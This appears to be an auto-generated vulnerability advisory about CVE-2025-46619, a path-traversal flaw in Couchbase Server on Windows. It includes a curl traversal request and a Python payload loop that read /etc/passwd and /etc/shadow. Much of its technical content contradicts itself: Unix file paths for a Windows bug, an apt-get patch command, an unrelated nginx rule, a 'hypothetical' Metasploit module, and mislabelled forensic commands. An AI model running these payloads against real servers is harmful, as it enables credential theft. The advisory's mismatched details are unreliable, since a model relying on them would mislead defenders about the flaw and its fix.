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How CVE-2025-46619 Works
CVE-2025-46619 is a critical vulnerability in Couchbase Server versions before 7.6.4 and 7.2.7 for Windows, allowing attackers to bypass file access restrictions. The flaw stems from improper path validation in the server’s file handling mechanism. When exploited, an attacker can traverse directories and access sensitive system files (e.g., /etc/passwd, /etc/shadow) by crafting malicious requests. This occurs due to insufficient sanitization of user-supplied input, enabling Local File Inclusion (LFI). The vulnerability leverages misconfigured permissions and weak access controls, potentially leading to credential theft or privilege escalation.
DailyCVE Form:
Platform: Couchbase Server
Version: <7.6.4, <7.2.7 (Windows)
Vulnerability: Unauthorized File Access
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Command (LFI Test):
curl -X GET "http://target:8091/..%2f..%2f..%2fetc/passwd"
2. Metasploit Module (Hypothetical):
exploit/unix/webapp/couchbase_lfi
3. Manual Exploit Steps:
- Send crafted HTTP request with directory traversal sequences.
- Retrieve sensitive files via response manipulation.
Protection Measures
1. Patch Immediately:
sudo apt-get update && sudo apt-get install couchbase-server=7.6.4
2. File Restriction (Mitigation):
location ~ /etc/ {
deny all;
}
3. Log Monitoring:
grep "../" /var/log/couchbase.log
Detection Script (Python):
import requests
target = "http://target:8091"
payloads = ["..%2fetc/passwd", "%2e%2e/etc/shadow"]
for p in payloads:
r = requests.get(f"{target}/{p}")
if "root:" in r.text:
print(f"Vulnerable: {p}")
Post-Exploit Actions
1. Check Stolen Credentials:
sudo auditctl -w /etc/passwd -p r -k couchbase_breach
2. Forensic Analysis:
strings /var/lib/couchbase/logs/ | grep -i "etc/passwd"
CVSS 4.0 Metrics:
- Attack Vector: Network
- Impact: Confidentiality (High), Integrity (Medium)
- Exploitability: Low Complexity (No Privileges)
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
